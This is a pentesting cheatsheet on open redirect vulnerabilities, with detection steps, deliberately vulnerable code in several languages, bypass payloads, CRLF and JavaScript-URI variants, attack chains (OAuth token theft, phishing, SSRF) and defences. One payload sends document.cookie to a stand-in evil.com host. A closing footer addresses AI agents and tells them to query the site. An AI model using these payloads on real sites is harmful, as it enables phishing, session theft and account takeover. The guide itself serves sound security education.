> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/02.-open-redirect.md).

# 02. Open Redirect

Fast reference for payloads, bypasses, detection and multi-vulnerability attack chains

*Companion to the XSS guides. Open redirect is often dismissed as "low severity," but it's one of the most useful chaining primitives in real attacks. This file covers it from the absolute basics through advanced bypasses and chaining.*

***

### Table of Contents

1. 30-Second Primer
2. Types at a Glance
3. Detection Workflow
4. Vulnerable Code Examples
5. Basic Payloads
6. Bypass Techniques
7. Encoding & Obfuscation Cheat Table
8. Header-Based & CRLF Variants
9. Chaining Open Redirect With Other Bugs
10. Burp Suite Quick Workflow
11. Tools One-Liner Reference
12. Defense Cheat Table

***

### 1. 30-Second Primer

Open redirect: the app takes a user-controlled URL (a parameter, a path segment, a header) and redirects the browser to it without checking that the destination is actually trusted.

```
https://victim.com/redirect?url=https://evil.com
```

The victim clicks a link that starts with the real, trusted domain, then gets silently bounced to an attacker-controlled site. On its own this looks minor. Its real danger is almost always in what it enables next: it's the "trusted-looking wrapper" for phishing, OAuth token theft, and delivery of other payloads (including XSS). Most of this cheatsheet is about that second half.

<figure><img src="/files/wLgDYKB54yujFUDtUjK2" alt=""><figcaption></figcaption></figure>

***

### 2. Types at a Glance

| Type                | Where the destination lives                          | Example                                                |
| ------------------- | ---------------------------------------------------- | ------------------------------------------------------ |
| Query parameter     | `?url=`, `?redirect=`, `?next=`, `?return=`          | `/login?next=https://evil.com`                         |
| Path-based          | Part of the URL path itself                          | `/redirect/https://evil.com`                           |
| Header-based        | `Location` header built from user input              | Server sets `Location: <user input>`                   |
| Meta refresh        | HTML response, not an HTTP redirect                  | `<meta http-equiv="refresh" content="0;url=evil.com">` |
| JavaScript redirect | Client-side `location.href` assignment               | `location.href = getParam('next')`                     |
| POST-based redirect | Redirect target comes from a form field, not the URL | Auto-submitting form with hidden `redirect` field      |

***

### 3. Detection Workflow

```
1. Look for suspicious parameter names in every request:
   url, redirect, redirect_uri, redirect_url, next, return, returnTo,
   dest, destination, continue, target, rurl, out, view, forward
2. Send a canary destination and see if the app follows it:
   ?url=https://canary-test-domain.com
3. Check response: is it an HTTP 3xx with Location header?
   Or a 200 with a meta-refresh / JS redirect in the body?
4. If it's blocked, note WHAT is blocked (full domain? scheme? just http?)
5. Try each bypass technique in Section 6 against that specific filter
6. Confirm with a real browser: does it actually navigate away?
```

Quick grep across a crawled site/JS bundle for likely sink code:

```
grep -riE "location\.(href|replace|assign)|window\.open|res\.redirect|sendRedirect|Location:" .
```

***

### 4. Vulnerable Code Examples

**Node.js / Express**

```javascript
app.get('/redirect', (req, res) => {
  res.redirect(req.query.url); // no validation at all
});
```

**PHP**

```php
<?php
header("Location: " . $_GET['url']);
exit;
?>
```

**Python / Flask**

```python
@app.route('/redirect')
def redirect_page():
    url = request.args.get('url')
    return redirect(url)   # no allowlist check
```

**Java / Spring**

```java
@GetMapping("/redirect")
public void redirect(@RequestParam String url, HttpServletResponse response) throws IOException {
    response.sendRedirect(url); // no validation
}
```

**Client-side JavaScript**

```javascript
const next = new URLSearchParams(location.search).get('next');
window.location.href = next; // DOM-based open redirect
```

***

### 5. Basic Payloads

```
https://victim.com/redirect?url=https://evil.com
https://victim.com/redirect?url=//evil.com
https://victim.com/redirect?url=http://evil.com
https://victim.com/login?next=https://evil.com
https://victim.com/logout?returnTo=https://evil.com
```

Protocol-relative URL (`//evil.com`) is the single most useful basic payload, since it silently inherits whatever scheme the current page used and slips past filters that only check for `http://` or `https://` literally.

***

### 6. Bypass Techniques

Real apps almost always have *some* filtering. These are the standard evasions, roughly in order of how often they work.

#### 6.1 Protocol-relative URL

```
//evil.com
```

#### 6.2 Whitelisted-domain confusion via userinfo (@) syntax

Browsers treat everything before an `@` in a URL as userinfo, not the host:

```
https://victim.com@evil.com
https://trusted-looking-victim.com@evil.com/
```

A filter checking `startsWith('https://victim.com')` passes, but the browser actually navigates to `evil.com`.

#### 6.3 Subdomain/prefix confusion

```
https://victim.com.evil.com
https://evil-victim.com
https://victim.com.evil.com/
```

A filter checking `includes('victim.com')` passes on all of these, none of them are the real site.

#### 6.4 Backslash instead of forward slash

Some parsers/browsers treat `\` as equivalent to `/` in certain positions:

```
https:/\evil.com
https:\/\/evil.com
/\evil.com
//\evil.com
```

#### 6.5 Excess slashes / missing scheme

```
https:///evil.com
https:////evil.com
////evil.com
/////evil.com
```

#### 6.6 Whitespace and control characters before the scheme

```
 https://evil.com
%09https://evil.com   (tab)
%00https://evil.com   (null byte, legacy parsers)
```

#### 6.7 Case variation on the scheme

```
HtTpS://evil.com
```

#### 6.8 Using a trusted open-redirect-enabled third party as a relay

If the app allowlists `accounts.google.com` or another large trusted domain that itself has (or once had) an open redirect, chain through it:

```
https://victim.com/redirect?url=https://accounts.google.com/some-legit-redirector?continue=https://evil.com
```

#### 6.9 Path traversal into a redirect

```
https://victim.com/../../evil.com
https://victim.com/%2e%2e/evil.com
```

#### 6.10 Data URI / JavaScript URI (for JS-based redirect sinks specifically)

```
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>
```

This turns a "redirect" bug into a DOM XSS if the sink is `location.href = userInput` and no scheme allowlist exists.

***

### 7. Encoding & Obfuscation Cheat Table

| Technique                    | Example                                                                                        |
| ---------------------------- | ---------------------------------------------------------------------------------------------- |
| URL encoding                 | `%68%74%74%70%73%3A%2F%2Fevil.com`                                                             |
| Double URL encoding          | `%2568%2574%2574%2570...`                                                                      |
| Mixed case scheme            | `HtTpS://evil.com`                                                                             |
| IP address instead of domain | `http://1234567890/` (decimal IP for an evil.com IP)                                           |
| IPv6 bracket notation        | `http://[::ffff:c0a8:101]/`                                                                    |
| Hex-encoded IP               | `http://0x7f000001/`                                                                           |
| Unicode homoglyph domain     | `https://аccounts-google.com` (Cyrillic а) used for phishing convincingness, not filter bypass |
| Fragment smuggling           | `https://victim.com/redirect?url=https://trusted.com#@evil.com`                                |

***

### 8. Header-Based & CRLF Variants

If user input reaches a raw `Location` header without a redirect() helper sanitizing it, CRLF injection can smuggle extra headers or switch response behavior entirely:

```
url=https://victim.com%0d%0aSet-Cookie:%20session=attackercontrolled
url=https://victim.com%0d%0a%0d%0a<script>alert(1)</script>
```

Modern frameworks generally strip CR/LF automatically from header values, but this remains a real finding in custom header-writing code, and worth testing on any endpoint that builds the `Location` header manually rather than through a framework helper.

Meta-refresh variant (useful when a WAF only inspects the `Location` header, not response bodies):

```html
<meta http-equiv="refresh" content="0;url=https://evil.com">
```

JavaScript-redirect variant (client-side, no server round trip at all):

```
https://victim.com/page#next=https://evil.com
```

```javascript
// vulnerable client-side code
const next = new URLSearchParams(location.hash.slice(1)).get('next');
location.href = next;
```

***

### 9. Chaining Open Redirect With Other Bugs

This is where open redirect stops being "informational severity" and starts being a real component of high-impact attacks. It is almost never the finale, it is the delivery mechanism or the trust-laundering step.

#### 9.1 The general chaining mental model

```mermaid
flowchart TD
    R["Open redirect confirmed on victim.com"] --> Q{"What does it enable?"}
    Q --> A["Phishing link that starts with the real domain"] --> A2["Chain: convincing credential phishing page after bounce"]
    Q --> B["OAuth/SSO redirect_uri validation is loose"] --> B2["Chain: steal OAuth authorization code or access token"]
    Q --> C["Delivers a reflected XSS payload through a trusted-looking URL"] --> C2["Chain: higher click-through rate on the XSS phishing link"]
    Q --> D["Referer header leaks sensitive URL params on bounce"] --> D2["Chain: token/secret leakage to attacker-controlled site"]
    Q --> E["Password reset flow includes a redirect/continue param"] --> E2["Chain: reset link poisoning, victim's reset token sent to attacker"]
    Q --> F["Used inside an SSRF-capable server-side fetch"] --> F2["Chain: bypass an SSRF allowlist by redirecting server-side requests"]
```

#### 9.2 Open redirect + OAuth/SSO -> token/code theft

OAuth flows redirect back to a `redirect_uri` after the user authorizes the app. If the authorization server's `redirect_uri` validation only checks that the URL *starts with* an allowed domain (rather than exact match), and that domain has an open redirect, an attacker can steal the authorization code or access token:

```
https://auth-provider.com/oauth/authorize?
  client_id=victim-app&
  redirect_uri=https://victim.com/redirect?url=https://evil.com&
  response_type=code
```

If the victim is already logged in and clicks a crafted link like this, the authorization server appends the real code/token to `redirect_uri`, which then bounces through the open redirect straight to the attacker's server with the victim's code/token attached as a query parameter. This is one of the highest-impact chains open redirect participates in, since it can lead directly to full account takeover on the OAuth-connected app.

#### 9.3 Open redirect + phishing -> far higher click-through

A raw phishing link to `evil-victim-login.com` gets flagged by email filters and suspicious users alike. A link that literally starts with `https://real-victim.com/redirect?url=...` passes casual inspection, many corporate email security tools, and sometimes even automated URL-reputation scanners that only check the first hop.

#### 9.4 Open redirect + reflected XSS delivery

Combining the two makes a reflected XSS payload's delivery link look far more legitimate, since the visible/hovering link is the real domain right up until the bounce:

```
https://victim.com/redirect?url=https://victim.com/search?q=<script>fetch('https://evil.com/'+document.cookie)</script>
```

#### 9.5 Open redirect + Referer leakage -> secret exfiltration

If a sensitive token or session identifier is present in the URL (not ideal practice, but common in password reset links, magic login links, or legacy apps), and the page redirects through to an external site, that token can leak via the `Referer` header on the following request:

```
https://victim.com/reset?token=SUPERSECRET&next=https://evil.com
```

When the browser is redirected to `evil.com`, some configurations still send the full referring URL (`token=SUPERSECRET` and all) as the `Referer` header on the next request evil.com's page makes, handing the attacker the reset token directly. Modern default `Referrer-Policy` settings mitigate this, but older/misconfigured apps remain vulnerable.

#### 9.6 Open redirect + password reset poisoning

If a password reset email is generated using a `Host` header or a redirect/continue parameter the attacker controls, and the app doesn't validate it against an allowlist, the reset link sent to the victim's inbox can be crafted to route the token straight to the attacker once clicked:

```
POST /forgot-password
Host: evil.com
...
```

Combined server-side templating that builds the reset URL from the request's `Host` header, plus an open-redirect-style trust gap, results in the legitimate victim receiving a real reset email whose link secretly funnels their token to the attacker's infrastructure.

#### 9.7 Open redirect used to bypass an SSRF allowlist

If a server-side feature validates a URL against an allowlist *before* following redirects, but then makes the actual outbound request with a library that automatically follows HTTP redirects, an attacker can point the initial URL at an allowed domain that has an open redirect, then let that redirect chain the server's own request into an internal or disallowed target:

```
Initial (passes allowlist): https://trusted-partner.com/redirect?url=http://169.254.169.254/latest/meta-data/
Server fetches trusted-partner.com, which 302s to the internal metadata endpoint
Server's HTTP client follows the redirect automatically -> SSRF achieved
```

#### 9.8 Quick chaining checklist to run through on every confirmed open redirect

```
[ ] Does the app have OAuth/SSO login? Check redirect_uri validation strictness
[ ] Does any sensitive token/secret ever appear in a URL that could later redirect externally?
[ ] Is there a reflected XSS elsewhere that this redirect could wrap for more convincing delivery?
[ ] Does password reset / magic-link generation use Host header or a redirect param?
[ ] Does any server-side feature (webhook validator, URL preview, SSRF-sensitive fetch) use an allowlist check that happens BEFORE following redirects?
[ ] Check Referrer-Policy on the page holding the redirect: is it leaking full URLs to the external destination?
```

***

### 10. Burp Suite Quick Workflow

```
1. Proxy > browse the target, watch for redirect-style parameters (url, next, redirect, continue, return)
2. Send request to Repeater
3. Swap the parameter value for a unique canary domain, send, check the Location header / response body
4. If blocked, try each bypass from Section 6 one at a time, resend after each
5. For OAuth flows specifically: intercept the /authorize request, inspect redirect_uri validation
   by trying subdomain confusion and trailing-open-redirect chaining (Section 9.2)
6. Send to Intruder with §§ markers on the redirect parameter, load a bypass wordlist
   (protocol-relative, @ syntax, backslash variants, whitelisted-domain confusion)
7. Grep-match on your canary domain in the Location header to auto-flag which bypasses worked
```

***

### 11. Tools One-Liner Reference

| Tool                        | Quick use                                                                                         |
| --------------------------- | ------------------------------------------------------------------------------------------------- |
| Burp Suite                  | Manual testing, Repeater/Intruder for bypass fuzzing                                              |
| OpenRedireX                 | `python3 openredirex.py -u "https://target.com/redirect?url=FUZZ" -p payloads.txt`                |
| OAT (Open Redirect Scanner) | Automated crawling + redirect param fuzzing                                                       |
| ffuf                        | `ffuf -u "https://target.com/redirect?url=FUZZ" -w bypass-payloads.txt -mr "evil.com"`            |
| curl                        | `curl -sI "https://target.com/redirect?url=https://evil.com"` (quickly check the Location header) |

***

### 12. Defense Cheat Table

| Layer                    | What to do                                                                                                                                                   |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Allowlist, not blocklist | Validate the destination against an exact-match allowlist of known-good URLs/paths, never a "starts with" or "contains" check                                |
| Relative paths only      | Where possible, only accept relative paths (`/dashboard`) for redirect targets, never full URLs at all                                                       |
| Indirect reference       | Use a lookup key/ID that maps server-side to a fixed destination, instead of trusting a raw URL from the client                                              |
| Parse properly           | Use a real URL parser (not string matching) to extract scheme/host before validating, so `@`/backslash/encoding tricks can't fool a naive check              |
| OAuth/SSO                | Require exact-match `redirect_uri` registration, never prefix/substring matching                                                                             |
| Sensitive tokens         | Never put session tokens, reset tokens, or secrets in URLs that could later redirect externally; use POST bodies or short-lived server-side state instead    |
| Referrer-Policy          | Set `Referrer-Policy: strict-origin-when-cross-origin` or stricter, so full URLs (with any embedded params) aren't leaked to external destinations           |
| Warn on external bounce  | Show an interstitial "You are leaving victim.com, headed to X" page for any redirect to a non-owned domain, rather than a silent bounce                      |
| SSRF-adjacent features   | Validate the FINAL destination after following redirects, not just the initial URL, or disable automatic redirect-following entirely for server-side fetches |

***

**Ethical/legal note:** everything in this cheatsheet is standard, widely-taught security education material, the same content covered by OWASP and every major AppSec course. Only test systems you own or have explicit written authorization to test.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/02.-open-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
